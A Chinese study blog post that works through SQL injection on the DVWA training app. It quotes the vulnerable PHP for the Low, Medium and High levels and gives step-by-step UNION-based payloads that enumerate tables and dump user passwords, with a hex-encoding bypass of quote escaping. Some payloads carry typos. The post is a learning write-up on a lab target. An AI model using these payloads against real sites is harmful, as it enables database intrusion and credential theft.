前言
本文属于学习贴,我自己在学习的时候总结的,如有错误,请大家及时指出
dvwa v1.0.7
何为SQL injection
SQL injection 即SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
手工注入思路
虽然sqlmap好用,但还是要掌握一些手工注入的思路。下面我们了解一下非盲注的步骤
步骤来自FreeBuf.COM的lonehand
- 判断是否存在注入,判断注入的类型是字符型还是数字型(因为判断注入主要是用这两种来判断的)
- 猜解SQL查询语句的字段数
- 确定显示的字段顺序
- 获取数据库
- 获取数据库的表
- 获取表中的字段名
- 拿到想要的数据
DVWA sql注入进行学习
Low 级别
<?php
if(isset($_GET['Submit'])){
// 获取输入
$id = $_GET['id'];
//执行sql命令
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
//返回结果
$num = mysql_numrows($result);
$i = 0;
while ($i < $num) { //结果存在
//将得到的结果保存在变量中
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
//输出到界面
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
?>
相关函数
mysql_query()函数执行一条 MySQL 查询。
mysql_num_rows() 函数返回结果集中行的数目。
mysql_result() 函数返回结果集中一个字段的值。
可以发现,没有任何的过滤和检查,可以直接构造sql 注入的命令。
Low 漏洞利用
-
判断是否存在注入,判断注入的类型是字符型还是数字型
先输入一些内容查看结果
测试是否存在注入
输入命令1 and 1=1
,返回了正确的值。
输入1 and 1=2
,返回了正确的值。后台数据库没有处理我们输入的值,可能不存在数字型注入
输入1’and ‘1’ = ‘2
没有返回值,可能存在注入。
输入1’ or ‘1’ =’1
查询成功。 不正常的结果返回,存在字符型注入
-
猜解SQL查询语句的字段数
使用order by 数字 从1依次递增去执行,发现命令错误时,则可以推出字段值
我们知道1’ or 1=1
执行时会报错的,而我们需要在字段超出的时候在报错,所以先构造一个会报错的命令:例如1’ and 1=1
,这是一个会报错的命令,
我们添加order by 到命令后,并注释,确保正确执行。
输入命令1’ and 1=1 order by 1 #
输入1' and 1=1 order by 2 #
输入1' and 1=1 order by 3 #
说明执行的sql查询语句只有两个字段,
也可以使用union select 来查询字段,这样也可以获取字段
输入1' and 1=1 union select 1,2 #
输入
1' and 1=1 union select 1,2,3 #
-
确定显示的字段顺序
如果使用order by 来获取的字段值,我们需要使用 union select 1,2 # 来获取字段的顺序,使用union select 就不需要这一步。
输入命令1’ union select 1,2 #
-
获取数据库
输入命令1’ union select 1,database() #
获取到数据库:
dvwa
-
获取数据库中的表
输入命令:1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
数据库中dvwa 有两个表,guestbook
和users
-
获取表中的字段名
输入命令:1’ union select 1,group_concat(column_name) from information_schema.columns where table_name = ‘users’ #
users 有5个字段,user_id,first_name,last_name,user,password,avatar
-
拿到想要的数据
输入命令:1’ union select group_concat(user_id,first_name,last_name),group_concat(passwrod) from users #
这样就可以得到users表中的用户user_id,first_name,last_name,password
Medium 级别
<?php
if (isset($_GET['Submit'])) {
// Retrieve data
$id = $_GET['id'];
$id = mysql_real_escape_string($id);
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i=0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
?>
过滤函数:
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。\x00 、\n、 \r、’、、"、\x1a,如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
相关函数:
mysql_num_rows() 函数返回结果集中行的数目。
mysql_query() 函数执行一条 MySQL 查询。
mysql_result() 函数返回结果集中一个字段的值。
Medium 漏洞利用
听说在有版本在前端成为下拉框,这里抓包修改包,绕过就好
-
判断是否存在注入,判断注入的类型是字符型还是数字型(因为判断注入主要是用这两种来判断的)
输入命令:1’ or ‘1’ =’1 #
不是字符型注入,报错
输入命令:1 or 1=1 #
存在数字型注入,(刚刚的过滤函数过滤了常见的字符,但是由于是数字型注入,就没有作用了,这里不会使用到引号) -
猜解SQL查询语句的字段数
接下来就和low级别区别不大了,我们跳过基础讲解
输入命令:1 or 1=1 order by 2 #
输入命令:输入 1 or 1=1 order by 3 #
-
确定显示的字段顺序
输入命令:1 union select 1,2 #
-
获取数据库
输入命令:1 union select 1,database() #
数据库是dvwa
-
获取数据库的表
输入命令:1 union select 1,group_concat(table_name) form information_schema.tables where table_schema = database() #
table 有guestbook
和users
-
获取表中的字段名
输入命令:1 union select 1,group_concat(column_name) from information_schema.columns where table_name = ‘users’ #
查询失败,引号被转义了
这里我们采用十六进制进行绕过,users
改为0×7573657273
成功绕过
-
拿到想要的数据
输入命令:1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users
获取到users表中的所有用户的信息
High
核心代码
<?php
if (isset($_GET['Submit'])) {
// Retrieve data
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
if (is_numeric($id)){
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i=0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
}
?>
过滤函数:
stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
is_numeric()— 检测变量是否为数字或数字字符串
相关函数
mysql_num_rows() 函数返回结果集中行的数目。
mysql_query() 函数执行一条 MySQL 查询。
mysql_result() 函数返回结果集中一个字段的值。
大概讲一下,这个代码,判断了输入的id是否是数字类型,stripslasher删除了addslashes()的函数添加的反斜杠,这样我就不会绕过了。查证之后,发现high级别开启了php的magic_quotes_gpc,所以这里只是告诉了我们怎么防止sql注入,能不能绕过,就看大佬们愿不愿意贡献自己的秘籍了。
解释疑点
为什么要加#
#的作用是闭合引号,注释字符,比如我们输入命令
1’ union select 1,2 #
这里1’会报错,是由于check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’’ at line 1,为了解决报错,我们需要加一个# 注释掉后面多余的引号。
参考文章
新手指南:DVWA-1.9全级别教程之SQL Injection
个人博客
持续更新Android安全、web安全等原创文章,需要学习资料,技术交流可以关注我一起学习